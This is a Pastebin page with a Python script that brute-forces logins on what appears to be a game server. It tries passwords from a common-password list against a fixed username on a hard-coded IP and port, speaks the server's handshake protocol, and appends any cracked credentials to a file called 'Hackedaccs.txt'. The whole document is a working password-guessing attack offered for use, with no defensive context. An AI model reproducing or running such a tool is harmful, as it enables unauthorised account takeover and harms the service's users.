Advertisement
AfterlifeKush

Untitled

Jun 25th, 2017
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.20 KB | None | 0 0
  1. import sys
  2. import time
  3. import struct
  4. import socket
  5. import threading
  6.  
  7. class Raid:
  8. def __init__(self, Username, Password, IP, Port):
  9. self.NullByte = struct.pack("B", 0)
  10. self.BufSize = 4096
  11.  
  12. self.connectToServer(Username, Password, IP, Port)
  13.  
  14. def sendPacket(self, Socket, PacketData, Receive = False):
  15. Packet = bytes(PacketData, "utf-8")
  16.  
  17. if Socket:
  18. Socket.send(Packet + self.NullByte)
  19.  
  20. if Receive:
  21. return Socket.recv(self.BufSize).decode("utf-8")
  22.  
  23. def startKeepAlive(self, TimerSeconds = 20):
  24. if hasattr(self, "SocketConn"):
  25. KeepAliveTimer = threading.Timer(TimerSeconds, self.startKeepAlive)
  26. KeepAliveTimer.daemon = True
  27. KeepAliveTimer.start()
  28.  
  29. self.sendPacket(self.SocketConn, "0")
  30.  
  31. def connectionHandler(self):
  32. Buffer = b""
  33.  
  34. while hasattr(self, "SocketConn"):
  35. try:
  36. Buffer += self.SocketConn.recv(self.BufSize)
  37. except OSError:
  38. if hasattr(self, "SocketConn"):
  39. self.SocketConn.shutdown(socket.SHUT_RD)
  40. self.SocketConn.close()
  41.  
  42. if len(Buffer) == 0:
  43. print("Disconnected")
  44.  
  45. try:
  46. self.SocketConn.close()
  47. except:
  48. pass
  49.  
  50. break
  51. elif Buffer.endswith(self.NullByte):
  52. Receive = Buffer.split(self.NullByte)
  53. Buffer = b""
  54.  
  55. for Data in Receive:
  56. Data = Data.decode("utf-8")
  57.  
  58. if Data.startswith("0g") or Data.startswith("0j"):
  59. print("{{Server}}: {}".format(Data[2:]))
  60. elif Data.startswith("093"):
  61. print("Secondary login")
  62.  
  63. break
  64. elif Data.startswith("0f") or Data.startswith("0e"):
  65. Time, Reason = Data[2:].split(";")
  66. print("This account has just been banned [Time: {} / Reason: {}]".format(Time, Reason))
  67.  
  68. break
  69.  
  70. def connectToServer(self, Username, Password, ServerIP, ServerPort):
  71. try:
  72. self.SocketConn = socket.create_connection((ServerIP, ServerPort))
  73. except Exception as Error:
  74. print(Error)
  75. return
  76.  
  77. Handshake = self.sendPacket(self.SocketConn, "08HxO9TdCC62Nwln1P", True).strip(self.NullByte.decode("utf-8"))
  78.  
  79. if Handshake == "08":
  80. Credentials = "09{};{}".format(Username, Password)
  81. RawData = self.sendPacket(self.SocketConn, Credentials, True).split(self.NullByte.decode("utf-8"))
  82.  
  83. for Data in RawData:
  84. if Data.startswith("A"):
  85. self.sendPacket(self.SocketConn, "02Z900_")
  86.  
  87. print(Username + " has been logged into " + ServerIP + "password:" + Password)
  88.  
  89. self.startKeepAlive()
  90.  
  91. ConnectionThread = threading.Thread(target=self.connectionHandler)
  92. ConnectionThread.start()
  93.  
  94. RaidThread = threading.Thread(target=self.beginRaid)
  95. RaidThread.daemon = True
  96. RaidThread.start()
  97.  
  98. break
  99. elif Data == "09":
  100. time.sleep(5)
  101. print("Incorrect password")
  102. break
  103. elif Data == "091":
  104. print("Currently banned")
  105. break
  106.  
  107. def beginRaid(self):
  108. self.sendPacket(self.SocketConn, "03_")
  109.  
  110.  
  111. if (Username, Password):
  112. Accounts = open("Hackedaccs.txt", "a+")
  113. Accounts.write("{};{}\n".format(Username, Password))
  114. Accounts.close()
  115.  
  116. if __name__ == "__main__":
  117. with open("commonpass.txt") as Accounts:
  118. for Account in Accounts:
  119. Username = "cocaine"
  120. Password = Account.replace("\n", "")
  121. IP = "45.32.193.38"
  122. Port = 1138
  123.  
  124. Raid(Username, Password, IP, Port)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement